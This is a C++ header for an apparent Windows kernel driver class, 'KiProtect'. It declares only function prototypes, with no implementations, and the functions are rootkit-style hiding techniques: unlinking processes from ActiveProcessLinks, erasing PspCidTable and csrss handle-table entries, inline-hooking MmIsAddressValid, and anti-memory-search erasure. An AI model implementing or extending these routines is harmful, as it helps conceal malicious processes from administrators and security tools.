/*
 * KiProtect.h
 *
 *  Created on: 2013-10-25
 *      Author: WinDDK
 */

#ifndef KIPROTECT_H_
#define KIPROTECT_H_

#include "Utility.h"

class KiProtect
{
private:

public:
    KiProtect();
    virtual ~KiProtect();

    BOOLEAN RemoveFromActiveProcessLinks(ULONG Pid);

    NTSTATUS EraseObjectFromHandleTable(IN PHANDLE_TABLE pHandleTable,IN HANDLE ProcessId);
    ULONG GetFunctionAddr( IN PCWSTR FunctionName);
    NTSTATUS GetPspCidTable();
    NTSTATUS ErasePspTable(ULONG dwHidePid);
    NTSTATUS LookUpProcessByName(IN PCHAR pcProcessName,OUT PEPROCESS *pEPROCESS);
    NTSTATUS GetCsrssTable();
    NTSTATUS EraseCsrsstable(ULONG dwHidePid);
    NTSTATUS
    CreateNewObjectTypeByName(
        IN PCWSTR ObjectTypeName,//要创建的对象类型的名字
        IN POBJECT_TYPE pObjectTypeForCopy,//原始的ObjectType
        OUT POBJECT_TYPE *pNewObjectType);
    NTSTATUS EraseCsrsstableThread(ULONG Pid);
    void AntiSearchRAM();//尽可能的抹掉
    void inlineHookMmIsAddressValid(BOOLEAN ishook);
    void HideProcessByPid(ULONG dwHidePid);
    void RecoveryProcessActiveLink();
};

#endif /* KIPROTECT_H_ */
